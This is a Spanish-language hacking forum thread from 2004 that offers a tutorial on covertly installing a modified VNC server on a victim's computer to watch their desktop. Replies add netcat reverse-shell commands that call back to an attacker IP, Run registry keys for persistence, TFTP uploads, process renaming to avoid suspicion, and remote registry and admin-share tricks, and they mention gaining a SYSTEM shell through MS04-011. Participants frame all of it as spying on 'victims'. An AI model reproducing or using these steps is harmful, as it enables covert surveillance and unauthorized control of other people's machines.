Foro de elhacker.net

Seguridad Informática => Hacking Avanzado => Mensaje iniciado por: Gospel en 22 Septiembre 2004, 10:59

Título: **Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Gospel** en **22 Septiembre 2004, 10:59**

Ya está disponible el tutorial!

Gospel.feat.Zhyzura-Troyanizando.VNC.Control.Remoto.Invisible.pdf

http://www.geocities.com/unrayodesoul/gospel/Gospel.feat.Zhyzura-Troyanizando.VNC.Control.Remoto.Invisible.pdf
(Guardar destino como...)

Mirror: http://personal.telefonica.terra.es/web/alexb/manus/Gospel.feat.Zhyzura-Troyanizando.VNC.Control.Remoto.Invisible.zip

Mirror2:
http://ns2.elhacker.net/rojodos/descargas/pafiledb.php?action=download&id=65

_____

Jejejeje.... Wolaaa ;D

He decidido escribir este pequeño manual pq me empezó a picar la curiosidad después de leer el post de Shy @ http://foro.elhacker.net/index.php/topic,41216.msg198996.html#msg198996 (Así q en parte, el mérito tb es de él :D)

Para todos aquellos q os preguntáis (yo hasta ahora me lo preguntaba): **¿Cómo puedo obtener el escritorio remoto de la víctima a partir de una shell remota obtenida tras una intrusión?**

Vamos a utilizar para ello el programa de control remoto, q no troyano, de distribución libre y gratuita **VNC**. La página oficial del proyecto es http://www.realvnc.com.

Este simple programa se compone de dos aplicaciones Cliente y Servidor. El Servidor es lo queremos instalar en la víctima, el Cliente es lo q utilizará el atacante para visualizar el escritorio de la víctima.
Problema: **Por defecto, el Servidor VNC muestra un Tray Icon durante su ejecución.** Ohhh... :(se acabó la Fiesta??? Noooooo, ni hablar! >:(

He encontrado bastantes manuales por la red de cómo llevar esto acabo, pero ante todo, he preferido no jugar con claves de registro así q me quedo con este procedimiento q os voy a enseñar:

1) Instalar el original VNC en el equipo atacante.
Para ello, no vamos a bajarnos la última version oficial de VNC, si no ésta (ya veréis luego pq esta versión en concreto...)

ftp://ftp.uk.research.att.com/pub/vnc/dist/
y buscamos
vnc-3.3.2r6_x86_win32.zip

Despúes de descargarnos el zip, lo descomprimimos y lo instalamos. Se creará una carpeta en Archivos de Programa llamada C:\Archivos de programa\ORL\VNC donde encontraremos, entre otros archivos, el Servidor (WinVNC.exe) y el cliente (vncviewer.exe).

2) Configurar el Servidor en el propio equipo del atacante.
Necesitamos configurar el Servidor antes de instalárselo a la víctima o de otro modo, no podremos conectarnos remotamente!!
Así pues, ejecutamos WinVNC.exe y nos saldra una ventana de propiedades.
Comprobamos q en Display Number pone 0 y en Contraseña agregamos una q queramos...
Ya podemos cerrar el Servidor.

3) Sustituir el Servidor ejecutable original por uno modificado para q no muestre el Tray Icon.
Este ejecutable lo encontraremos en http://www.ssimicro.com/~markham/vnc/vnc-3_3_2r6_x86_win32_notray.zip

Lo descargamos, lo descomprimos y sustituímos el archivo WinVNC.exe por el original q se encuentra en la carpeta C:\Archivos de programa\ORL\VNC

4) Subir el Servidor VNC a la víctima.
Después de haber obtenido una shell remota de la víctima, vamos a subir vía TFTP los archivos necesarios para poder ejecutar el Servidor VNC en el sistema de la víctima.
Para ello, colocamos en la carpeta de nuestro Servidor TFTP (si no entiendes esto de Servidor TFTP, busca por el foro...) los siguientes archivos:
WinVNC.exe y VNCHooks.dll localizados en C:\Archivos de programa\ORL\VNC
omnithread_rt.dll localizado en C:\WINDOWS\system32

Subimos estos archivos a la víctima y procedemos a iniciar la ejecución del Servidor son el comando *start WinVCN.exe*
Por supuesto, no aparece ningún Tray Icon en la barra de la víctima 8)

Creo q la captura q os adjunto con el texto explica bien este último paso.

5)Conectarse desde el Cliente atacante al Servidor de la víctima.
Desde el equipo atacante, ejecutamos vncviewer y antes de nada, para evitar dar el

cantazo, en Opciones marcamos la casilla de View Only (inputs ignored). De esta forma no podremos interactuar con el ratón de la víctima.
Introducimos la IP de la victima : Display Number (ej: 192.168.0.2:0), la contraseña y boom!!

Un apunte, aunq no aparezca el Tray Icon, sí q aparece WinVnc.exe en la ventana de procesos de la víctima. Yo he probado a renombrar el archivo WinVNC.exe por SYSTEM.exe y me funciona sin problemas. ;)

Tengo decir q no me he molestado mucho en buscar por el foro y es posible q esto mismo ya lo haya explicado alguien en otro hilo. Si es así, bueno, yo he aprendido mucho currándomelo por mi cuenta y aquí os dejo mi experiencia. :-[

Salu2

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Ambolius** en **22 Septiembre 2004, 11:10**

Muy bueno Gospel, en tu linea como siempre ;)

Chincheta temporal y agregado al post de textos y manuales.

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Rojodos** en **22 Septiembre 2004, 18:29**

:D :D :D

Chapó gospel :D

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **zhyzura** en **24 Septiembre 2004, 07:46**

---

muy bueno gospel. :D

seguro a mas de alguno le habras resuelto alguna duda.

solo una pequeña observacion.(se me vino a la mente a la hora de leer la parte de "troyanizar").

¿que ocurriria si la victima tiene ip dinamica?
lo mas seguro es que nosostros nos queramos conectar con el server y no lo podremos realizar ya que requerimos la ip de ese equipo :-\.

pero para todo hay solucion :D.

yo sujiriria subirle un netcat y realizar una reverse shell, asi seria el netcat el que se conectaria contigo y no necesitaras saber su ip.

para esto, ya una vez subido el netcat a la victima solo necesitamos agregarle una pequeña entrada al registro, pero como tenemos en estos momentos ya una shell de la victima no sera dificil...
nos dirigimos a la shell de la victima y tecleamos:

Código:
```
REG ADD
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v
Netcat /t REG_SZ /d "C:\nc -d -e cmd.exe 10.10.0.156 9090"
```
(asi seria tomendo en cuenta que el nc esta en el directorio raiz del hdd)

ahora si se ejecutara en cada inicio de sesion...

solo que para esto funcione tendriamos que tener un netcat a la escucha en nuestra maquina y asi nos devolveria shell a la hora en que la victima conecte:

Código:
```
nc -l -p 9090 -d -e cmd.exe
```

pero ahora se atraviesa otro problema... nosotros tampoco tenemos ip estatica.
pues seria caso de ir a www.no-ip.com (http://www.no-ip.com) crearnos un dominio y listo ;D, descargamos el ipduck para conectarnos con la misma ip y ya seremos felices xDDD.

una vez que nos devuelve la shell solo tendriamos que teclear ipconfig y listo, sabremos la ip de la victima.

espero me haya expicado bien :P, si no... me avisan :-[

quizas sea algo liado andar haciendo esto pero me recordo mis tiempos de troyanos xDDD

saludos

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **oRTNZ** en **28 Septiembre 2004, 04:47**

Gospel, felicitaciones ya hace tiempo lo queria hacer, pero ni tiempo tengo de andar en mis huevvv, weno esta hasta donde sabia que se podia hacer era con un encriptador - - - - mas engorroso aun pues lo queria hacer con un programa que usa la microsoft ,entoncn seria casi invisible :P,saludos :)
pD: :P

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Mimiru** en **28 Septiembre 2004, 05:05**

Que yo sepa el VNC tiene una opcion donde tb puede hacer lo mismo que el netcat siendo el servidor nosotros y la maquina "victima" la que se conecta. Pudiendo asi saltarnos su router y quitarnos el problema de la ip dinamica (ideal para institutos y cybers).

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **samberocrack** en **30 Septiembre 2004, 07:43**

---

a mi me quedo clarito clarito como el agua :P :P

salu2 ;D

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **jomagalo** en **02 Octubre 2004, 02:55**

---

pues yo no le veo la opcion de reverse shell al vnc ni con la version 4

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Man-In-the-Middle** en **02 Octubre 2004, 03:51**

Consulta!!

Me bajo esta ver vnc-3.3.2r6_x86_win32.zip

lo instalo en mi mauina

configuro el server con el pass
cierro
me bajo vnc-3_3_2r6_x86_win32_notray.zip
remplazo el WinVNC.exe
, pero ahi viene mi consulta, dentro del zip de vnc-3_3_2r6_x86_win32_notray.zip tambien vienen :
omnithread_rt.dll
VNCHooks.dll
vncviewer.exe

esos tambien los remplazo

y lo otro remplazando y no remplazando me bota el siguiente error
Ivalid vnc server specified
server should be of the form host:display

o me bota en otra oportunidad , que la mauina no tiene password

This server does not have a valid password enabled. Until a password is set, incoming connections cannot be accepted

he seguido al pie de la letra todo Gospel, aver bro una mano que me interesa bastante esta opcion

Gracias
Man-In-the-Middle

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Sir_Neo** en **02 Octubre 2004, 21:25**

---

aki hay algo que esconden. yo tb lo he probado y me sale lo mismo. la password no se keda almacenada. A parte que cuando lo lanzas por consola se abre la ventana de propiedades

---

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **zhyzura** en **04 Octubre 2004, 12:44**

---

pues me puse a realizar las pruebas para ver si a mi tambien me mandaba los errores (la verdad es que aun no lo habia provado)

Cita de: jomagalo en 02 Octubre 2004, 02:55
pues yo no le veo la opcion de reverse shell al vnc ni con la version 4
lo de la reverse shell, nunca dije que se realizara con el vnc sino con el netcat (fijaos un poco en mi explicacion).

Citar
configuro el server con el pass
cierro
me bajo vnc-3_3_2r6_x86_win32_notray.zip
remplazo el WinVNC.exe
, pero ahi viene mi consulta, dentro del zip de vnc-3_3_2r6_x86_win32_notray.zip
tambien vienen :
omnithread_rt.dll
VNCHooks.dll
vncviewer.exe

esos tambien los remplazo

basta con que cambies solo el winvnc, como dice Gospel.

Cita de: Sir_Neo en 02 Octubre 2004, 21:25
aki hay algo que esconden. yo tb lo he probado y me sale lo mismo. la password no se keda almacenada. A parte que cuando lo lanzas por consola se abre la ventana de propiedades
pues mas que nada se debe a que el vncviewer que trae el vnc que nos descargamos no es 100% compatible con el winvnc que nos descargamos para que no nos mostrara el icono :'(.

pero como en este foro todo tiee solucion, ya encontre una ;D
solo necesitamos descargarnos este vncviewer:

http://www.realvnc.com/dist/vnc-4.0-x86_win32_viewer.exe

ponemos su ip y listo (recuerden desabilitar las opciones de teclado y mouse para que solo lo observemos y no nos cache en la matada xDDD). es de ley que va a funcionar, lo acabo de comprobar y solo me pidio la contraseña que puse.

---

un punto que se te escapo Gospel, fue de que si la victima reinicia su pc, ya no reiniciara el winvnc y tendriamos que obtener otra vez la shell remota para iniciarlo.

asi de que lo mejor es agregar un valor al registro de esta manera:
en la shell remota tecleamos lo siguiente:

Código:
```
REG ADD
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v
Winvnc /t REG_SZ /d "C:\vnc\winvnc"
```

seria asi si nosotros le subimos los archivos en la carpeta vnc que se encuentra en el directorio raiz, si no es asi solo basta con que pongamos la ubicacion del winvnc y listo, ya le tendremos una entrada en registro para que se inicie junto con windows y la victima ni cuenta se de xDDD.

solo me queda recordarles que los archivos WinVNC.exe y VNCHooks.dll tienen que estar en la misma carpeta, y el archivo omnithread_rt.dll localizado en C:\WINDOWS\system32, tiene que estar dentro de system32 en la victima.

saludos y espero haberles aclarado las dudas para que empiecen a jugar por alli :P

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Sir_Neo** en **05 Octubre 2004, 03:01**

Gracias por tu aclaración zhyzura, pero ya se donde estaba el fallo.

Lo unico que falta es añadir a la victima las lineas del registro, no se si todas, por lo menos la del password y la que no muestra la ventana de propiedades.

y sobre esta linea, solo hacerte un comentario:
Citar
REG ADD
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v
Netcat /t REG_SZ /d "C:\vnc\winvnc"

Esta linea ya la tienes posteada en otro post para indicar que se inicie el netcat, :P pero con su correspondiente linea de comandos. Se te olvido cambiar el nombre que le

asignas al registro NetCat por uno más identificativo al winvnc. 8)

Código:
```
REG ADD
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v
WinVnc /t REG_SZ /d "C:\vnc\winvnc"
```

Bueno, solo era eso, jeje, gracias de todas maneras por tu aportación, que siempre tas ahi dandome soluciones a mis dudas.

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Gospel** en **05 Octubre 2004, 05:46**

Wow... **muchas gracias zhyzura!!!** Con tus aportaciones, el "tutorial" ya está completo... Hala, a espiar, a espiar!!

Siento haber estado desaparecido esta ultima semana, pero me fui de vacaciones (de verdad q las necesitaba...). A ver si me pongo al día...

Salu2

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **zhyzura** en **05 Octubre 2004, 07:21**

Gracias por la aclaracion Sir_Neo...le verdad se me habia pasado cambiar ese detalle, aunque para que levante menos sospechas le podemos poner update o winxp, solo para no levantar tantas sospechas :P

saludos

P.D. esperamos nos hallas traido algo de tus vacaciones Gospel ::), solo como recuerdito xDDD

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Man-In-the-Middle** en **05 Octubre 2004, 09:24**

Buenos puntosss bros, esatamente es lo que dicen

Busca en el registro, winvnc, y cuando encuentres las lineas correspondientes al winvnc, son unas 5 o 6, le das a exportar.

Cuando entres en la victima, subele tambien el reg y lo lanzas tb.

reg import vnc.reg.

**********comentario Sir_nero**********

Muy bueno

pero para ponerlo de servicio

c:\winvnc.exe -install
c:\start winvnc
**********comentario Chico**********
Ahora si esto rulaaaaaaaaaaaaaaa de maravilla, graciass totaless

Man-In-the-Middle

Pd: Pero para que rule la conexion es necesario que la mauina se reinice, si no bota connexion close

---

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Locuras** en **06 Octubre 2004, 08:40**

Hola a todos

tengo un colega, me ha dejado meterme x el escritorio remoto del messenger.
me he metido en su registro y le he puesto una línea netcat

start /B c:\nc.exe -d -e cmd.exe "MI.IP" "MI.PUERTO"

y luego, esta misma línea la activo por cmd en su equipo.
como yo ya estaba a la escucha en mi puerto X, pues tengo su shell, hasta ahi bien ¿no?

Ahora bien... tecleo segun pantallazo de Gospel:

TFTP -i "MI.IP" get c:\winvnc.exe c:\vnc\winvnc.exe

yo tengo este archivos en mi c:\ raíz

y me da error de "tiempo de espera agotado"

mi colega tiene router, y yo tengo activado el firewall de xp

Cuando me da el error, tarda en dármelo, cuando yo desactivo mi firewall, el error aparece al segundo de darle enter, hemos probado a levantar un servicio ambas máquinas que se llama "Servicio de transferencia inteligente en segundo plano" pero nos sigue apareciendo el mismo error

---

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **zhyzura** en **06 Octubre 2004, 10:40**

Digamos que no has leido adecuadamente los manuales, ya que claramente especifican que el archivo a subir a la victima tiene que estar en el directorio del TFTP no el directorio raiz.

Citar
TFTP -i "MI.IP" get c:\winvnc.exe c:\vnc\winvnc.exe
en la parte que pones **c:\winvnc.exe** basta con que pongas solo "winvnc.exe", y el destino **c:\vnc\winvnc.exe** para que funcione, tendra que existir el directorio c:\vnc para que funcione

saludos

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Locuras** en **06 Octubre 2004, 10:53**

Wenas noches

Le he dado a boton derecho c:, buscar

he buscado TFTP y me aparece un archivo en el c:\windows\system32\tftp.exe

pero no encuentro una carpeta con nombre TFTP

el manual dice esto sobre TFTP:

4) Subir el Servidor VNC a la víctima.
Después de haber obtenido una shell remota de la víctima, vamos a subir vía TFTP los archivos necesarios para poder ejecutar el Servidor VNC en el sistema de la víctima. Para ello, colocamos en la carpeta de nuestro Servidor TFTP (si no entiendes esto de Servidor TFTP, busca por el foro...) los siguientes archivos:

yo he buscado por el foro cosas de TFTP y no leí nada referente a mi servidor TFTP :o

deduzco que por lo que me dices, me falta algo... ::)

¿me falta por instalar algún programa entonces? ¿o he de crearme yo la carpeta en algun lado? ???

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **zhyzura** en **06 Octubre 2004, 11:58**

Citar
¿me falta por instalar algún programa entonces?

si

para poder subir archivos via TFTP, el atacante debera de poner el archivo a subir a la victima dentro del directorio del servidor TFTP, por lo tanto deberas de instalarte un servidor TFTP en tu maquina, dicho servirdor lo puedes encontrar en la web de tu preferencia ::) www.elhacker.net (http://www.elhacker.net) en la sección de hacking.

saludos y suerte

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Sir_Neo** en **07 Octubre 2004, 05:26**

---

no estoy muy seguro, pero creo que en el manual de gospel no dice que tienes que tener instalado el server del TFTP, pq a mi me paso lo mismo, y estuve probando una y otra vez, hasta que me dijeron que necesitaba el server.

Bueno si lo nombra, pero dice que busques por el foro. bueno ahi te dejo algunos comentarios.

Te bajas el server q es solo un ejecutable, lo lanzas, y se te abre una ventanita. Entonces, es cuando ejecutas la linea q tu ya sabes, y mientras q sube el fichero, en la ventanita del server sale informacion del fichero (ya lo veras).

Como te ha dicho zhyzura, metes los ficheros que quieras subir en la misma carpeta que tienes puesto el server TFTP.

prueba y nos cuentas.

Un Saludo

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Locuras** en **07 Octubre 2004, 09:22**

Weno... os cuento. La verdad es q no todo ha salido a la perfección , pero algunas cosas si

Yo a mi amigo, ya le puse en el registro el netcat para que me llamase a mi ip al encender, yo tenía mi ordenador a la escucha, en el mismo puerto q mi amigo, pero no ha conectado...

el me ha solicitado asistencia remota, y yo le he abierto cmd.exe a mano, luego he arrancado el netcat yo a mano desde el cmd, y ya tenía su sell, he cerrado la asistencia remota

luego instalé el Servidor TFTP que me dijisteis, y ahora si, la transferencia de archivos se ha hecho de lujo y sin problemas xD eso es lo q mas me a alegrado :D

transferí a su c:\vnc\2 archivos, y luego la dll al windows\system32

luego le he lanzado el winvnc.exe, mi amigo inmediatamente me ha advertido de que le ha salido una ventana, y estoy completamente seguro q el winvnc.exe que le he enviado era del paquete de NOTRAY, no se...

luego le he dicho q se meta a mi colega en www.whatismyip.com
mi colega me ha dicho la misma ip q tenía ayer... como no me fiaba de esto, pq el creo q tiene ip dinámica, pues le he pasado un archivo x messenger, y al hacer un netstat pues me ha revelado su ip del día de hoy

luego he abierto mi winvnccliente, el que zhyzura puso en su link

he puesto la ip de mi colega, pero de dice connection refused, tampoco estoy muy seguro de la ip de mi colega hoy... el netstat me decía una, pero en la web de www.whatismyip.com me daba otra diferente, pero esta ip dada por esta web, era la misma que nos daba ayer al meternos en esta web tambien, asi si que no estoy muy seguro de su ip...

de todas formas, en los 3 paquetes rar para bajar del vnc (el original, el NOTRAY, y el viewer de zhyzura) ambos tienen vcnviewer, en los 3 he puesto el nombre del host, la IP, las 2 que creo q son y no me conecta, aveces me pone conection refused, y conection timeout

ya que estaba dentro del ordenador de mi colega le he puesto en el registro la clave para que inicie el winvnc.exe del tirón, aunq ya os he dicho q le sale la ventana esta de poner un "0" y poner la clave, la misma que tenenos que configurar nosotros al principio de ponernos el programita, yo me he desinstalado en vnc, lo he vueltro a instalar, le he quitado la clave (xq antes habia puesto 1) y ahora le he dejado la casilla de auto conectada, un poco mas a la izquierda se puede apreciar la casilla en gris con el 0 puesto.

weno, haber q se os ocurre para decirme, acerca del uso del netcat y tb de lo del programa este... si todo esto q he escrito no lo entendeis bien, pues me preguntais y os lo aclaro, o si se os ocurre de como solucionarlo, pues tb me lo decis

saludos a todos

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Locuras** en **07 Octubre 2004, 09:40**

---

vale, un segundo, me acabo de dar cuenta, de que si no ponemos una clave al configurar el winvnc.exe , no nos va a permitir una conexión... ya lo probaré... ;)

de todas formas, ya os aviso que a mi colega si le aparece la ventana del winvnc al arrancárselo yo mismo desde la remote shell (ahora que yo me lo he configurado yo bien, y me queda pendiente sibírselo de nuevo por si acaso, habría que asegurarse de esto) ::)

lo que mas me preocupa de todo esto, es lo del netcat, :-[q no me va muy bien, y

weno... a ver q me podeis decir acerca de lo de averiguar lo de la ip de mi colega, o a ver que me podeis decir en general... :-\ :'(

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Gospel** en **08 Octubre 2004, 00:17**

A ver, tienes q realizar las operaciones en secuencia, tal y como está explicado:

1) Instalar el original VNC en el equipo atacante
2) Configurar el Servidor ORIGINAL en el propio equipo del atacante.
Necesitamos configurar el Servidor antes de instalárselo a la víctima o de otro modo, no podremos conectarnos remotamente!!
Así pues, ejecutamos WinVNC.exe y nos saldra una ventana de propiedades.
Comprobamos q en Display Number pone 0 y en Contraseña agregamos una q queramos...
3) Sustituir el Servidor ejecutable original por uno modificado para q no muestre el Tray Icon.
4) Subir el Servidor VNC MODIFICADO a la víctima.

Si lo haces así, no debe aparecer ninguna ventana en el equipo víctima...

Salu2

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Locuras** en **08 Octubre 2004, 00:36**

---

ok, lo haré

ya contaré experiencias

Gracias x contestar tu mismo Gospel

Saludos!

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **canallaman** en **08 Octubre 2004, 04:52**

Tengo problemas con una pc que tiene WIN98 no puedo hacer que el vnc se conecte, me dice que el servidor no tiene un password definido que este esta en blanco.
Le hice una captura de pantalla y es asi se ven las propiedades del VNC con el pass en blanco.
Le subi los archivos tal cual lo instale en mi pc por las dudas C:\ARCHIVOS DE PRGRAMAS\ORL\VNC, reemplaze el archivo por el que es invisible como dice en el tutorial.

A ver si esto esta bien, me fije en mi registro y exporte esto
en un archivo llamado vnc.txt

[HKEY_CURRENT_USER\Software\ORL\WinVNC3]
"SocketConnect"=dword:00000001
"AutoPortSelect"=dword:00000001
"InputsEnabled"=dword:00000001
"Password"=hex:ae,d9,fd,73,49,ec,14,14
"PollUnderCursor"=dword:00000000
"PollForeground"=dword:00000001
"PollFullScreen"=dword:00000000
"OnlyPollConsole"=dword:00000001
"OnlyPollOnEvent"=dword:00000000

luego con la shell que tengo de la pc de la victima hago lo siguiente:

C:\WINDOWS>regedit /l:c:\windows\system.dat vnc.txt

esta bien importado, al registro de la victima?

si es asi esta todo ta cual como esta instalado en mi pc y me dice que el password esta en blanco.

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Man-In-the-Middle** en **08 Octubre 2004, 05:52**

---

conectate remotamente con su regedit, el problema me parece que tu passs, al momento de exportar no te write bien y te deja el bynary =000000000, tienes que modificarlo remotamente y de ahi hacer un reboot

enjoy
Man-In-the-Middle

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **canallaman** en **08 Octubre 2004, 06:53**

La maquina esta tiene win 98 como puedo hacer para modificar esta linea del registro?

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Locuras** en **08 Octubre 2004, 07:02**

---

tienes q poner un password, el programa avisa que sin password no deja hacer conexciones de ningun tipo

---

Título: **Re: Troyanizando VNC - Control Remoto Invisible**

Publicado por: **Man-In-the-Middle** en **08 Octubre 2004, 08:29**

Mira te mentiria, pero en mi caso para xp win200
me pongo como administrador

me mapeo

C:\net use x: \\10.10.0.x\C$ pwd /user:nombre_equipo_remoto\test

entro ami regedit

y me conecto remotamente

modifico

en el caso de win200
subes el regini
y en la shell
regini.exe -m \\10.10.1.253 vnc.ini
regini.exe -m \\10.10.1.253 vnc.ini(2 veces)

archivos upload (regini.exe, vnc.ini)

En caso de xp

Te instalas el vnc en tu mauina
Exportas el reg del ORL

y en la shell

reg import vnc.reg.

archivos upload(vnc.reg)

espero que te sirva de algo

Enjoy

Man-In-the-Middle

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Gospel** en **11 Octubre 2004, 08:11**

Bueno, estaba equivocado!!! Da bastantes problemas...

Cuando publique el minitutorial, habia obtenido la shell remota de forma manual, es decir, habia dejado en el equipo atacante el nc a la escucha y desde el equipo victima le devolvia la reverse shell. Una vez conseguida la shell remota, seguí los pasos uno a uno y me dieron éxito las dos veces q probé.
En este caso, la shell remota era con privilegios del usuario q me devolvió la reverse shell.

Ahora he cambiado de escenario. Me sitúo en una red local y para acceder a la shell remota de la víctima aprovecho la vulnerabilidad MS04-011 y obtengo una shell remota a través del exploit. El problema es q esta shell remota es con privilegios de SYSTEM. He seguido los pasos y me da el error:

This server does not have a valid password enabled. Until a password is set, incoming connections cannot be accepted

Es decir, no guarda la contraseña.

También he probado a volcar mi carpeta VNC3 del registro en un vnc.reg. Le subo a la víctima los 3 archivos y también le subo este vnc.reg. Ejecuto "reg import vnc.reg" y despues pongo en marcha el vnc.
Lo siguiente es intentar conectarse con el vncviewer. HE probado con el original, con el de la carpeta de noIcon y con la version q posteo Zhyzura y me salta Error. Connection closed en los 3 casos.

Bueno, unas cuantas cosas:

1) Si sois tan amables, Zhyzura y Man in the Middle, detalladme el escenario con el q estáis trabajando. Como conseguis la shell remota, con q privilegios, cómo ejecutáis el server del vnc, etc

2) Man in the Middle!! Tienes bastante conocimiento respecto a este tema, pero te expresas de culo y no te entiendo nada bien :P Si eres tan amable, postea tu experiencia paso a paso, con buena letra y q todos podamos enterarnos pq es muy interesante lo de añadir la clave del registro para poner la contraseña. Te lo digo en serio, eh!!

Hala, a ver si encontramos un método universal y publicamos un bonito tutorial.

Por mi parte, he subido al PAFileDB los archivos del VNC, tanto la version original como la versión modificada para q no muestre el Tray Icon. De esta forma, siempre podremos contar con ellos... ;)

VNC Original:
http://ns2.elhacker.net/rojodos/descargas/pafiledb.php?action=download&id=63
VNC Modificado No Tray Icon:
http://ns2.elhacker.net/rojodos/descargas/pafiledb.php?action=download&id=64

Salu2

Título: **Re: Troyanizando VNC - Control Remoto Invisible**

Publicado por: **zhyzura** en **12 Octubre 2004, 04:55**

---

ya que he visto bastantes problemas y a peticion de Gospel, me he decidido a volver a hacer pruebas con el vnc.

explico todo lo que hice a continuacion:

NOTA: los pc's que utilice para estas pruebas, nunca antes se les habia instalado el vnc, siendo yo el primero en hacerlo.

[PRIMERA PARTE]

lo primero que quise hacer fue realizar unas pruebas en dos pc's que yo tuviera acceso (una red)para ver como reaccionaban(ambos con winxp profesional) y ademas utilice el vnc que esta en las URL que acaba de poner Gospel.

1.- instale el vnc en mi maquina

2.- configure el winvnc (le puse el pass)

3.- cambie el winvnc.exe por el de notray icon(solo cambie el ejecutable)

4.- para comprobar que no iba a salir la ventanita de configurar el server en la maquina victima, primero lo ejecute en mi pc.... y no me salio ninguna pantalla, revise el administrador de tareas y efectivamente se estaba ejecutando.

5.- procedi a copiar lo archivos: omnithread_rt.dll(localizado e system32), WinVNC.exe y VNCHooks.dll (localizados en C:\Archivos de programa\ORL\VNC)

6.- coloque los archivos anteriores en la misma ubicacion, en la maquina de la victima.

7.- desde la shell ejecute el winvnc en la maquina victima:
Código:
```
c:\VNC>start WinVnc
```

8.- ahora abri el vncview que viene junto con el winvnc que instale en un principio(no me conectaba ya todos saben el rollo) despues utilice el vncview que viene junto con el winvnc que no muestra el icono(tampoco me conecto) y por ultimo utilice el vncview del cual puse la URL en un post anterior:
http://www.realvnc.com/dist/vnc-4.0-x86_win32_viewer.exe (y tampoco me conecto :-\).

9.- como dije anteriormente, tengo acceso al otro pc, asi de que me dispuse a ir a observar que pasaba en la otra maquina ¡oh sorpresa!, estaba la ventana con la que configuramos el winvnc para ponerle la pass(por que tampoco tenia ninguna mostrando en ese momento)...

esto me llevo a una deduccion que mcchos de ustedes ya la habran hecho...El password que nosotros colocamos en nuestra pc, no se almacena en ningun archivo de los que le subimos a la victima y como todos sabemos el unico lugar que dejamos intacto fue el

registro.

10.- Procedi a exportar todas las claves que encontre en el registro, las cuales utilizaba el vnc, fueron las siguientes(para entrar al registro es inicio> ejecutar> regedit. para buscar las claves utilice edicion> buscar y las palabras vnc y winvnc):

Citar
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit

Citar
HKEY_USERS\S-1-5-21-2000478354-1085031214-1801674531-1003\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit

Citar
HKEY_CURRENT_USER\Software\ORL

Citar
HKEY_LOCAL_MACHINE\SOFTWARE\ORL

Citar
HKEY_USERS\S-1-5-21-2000478354-1085031214-1801674531-1003\Software\ORL

Citar
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu2\Programs\VNC

Ahora tengo 6 archivos con extension .reg (los nombre vnc1, vnc2...vnc6)

11.- en la maquina que tenemos el server, cerre la ventana del vnc que tenia abierta, sin ponerle el password.

12.- manualmente le ejecute los archivos de registro que exporte anteriormente(jeje que tramposo soy ;D)

13.- me fui a la shell remota y ejecute el winvnc.

14.- ahora utilice los dos vncview que vienen en las URL que puso Gospel y seguia sin funcionar, utilice el vncview del cual yo puse la URL descarga y ¡sorpresa! al poner la ip procedio a pedirme la contraseña y ¡CONECTO! :D, podia ver el escritorio remoto.

[SEGUNDA PARTE]

procedi a hacer las pruebas demostradas ahora en una maquina 100% remota a la cual solo tengo acceso a travez de una shell(yo en un pc conectado directamente a internet y el otro pc de un amigo en el cual ya tenia un netcat a la escuha xDDD), la shell corre con privilegios del usuario que la ejecuto(Administrador), y yo vuelvo a utilizar otro pc

que aun no se le habia instalado ningun Vnc(otro pc limpio).

1.- instale el vnc en mi maquina

2.- configure el winvnc (le puse el pass)

3.- cambie el winvnc.exe por el de notray icon(solo cambie el ejecutable nuevamente :D)

4.- para comprobar que no iba a salir la ventanita de configurar el server en la maquina victima, primero lo ejecute en mi pc(siempre me ha gustado comprobar).... y no me salio ninguna pantalla, revise el administrador de tareas y efectivamente se estaba ejecutando.

5.- procedi a copiar lo archivos: omnithread_rt.dll(localizado e system32), WinVNC.exe y VNCHooks.dll (localizados en C:\Archivos de programa\ORL\VNC)

6.- exporte nuevamente las claves del registro que cite anteriormente:

Citar
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit

Citar
HKEY_USERS\S-1-5-21-2000478354-1085031214-1801674531-1003\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit

Citar
HKEY_CURRENT_USER\Software\ORL

Citar
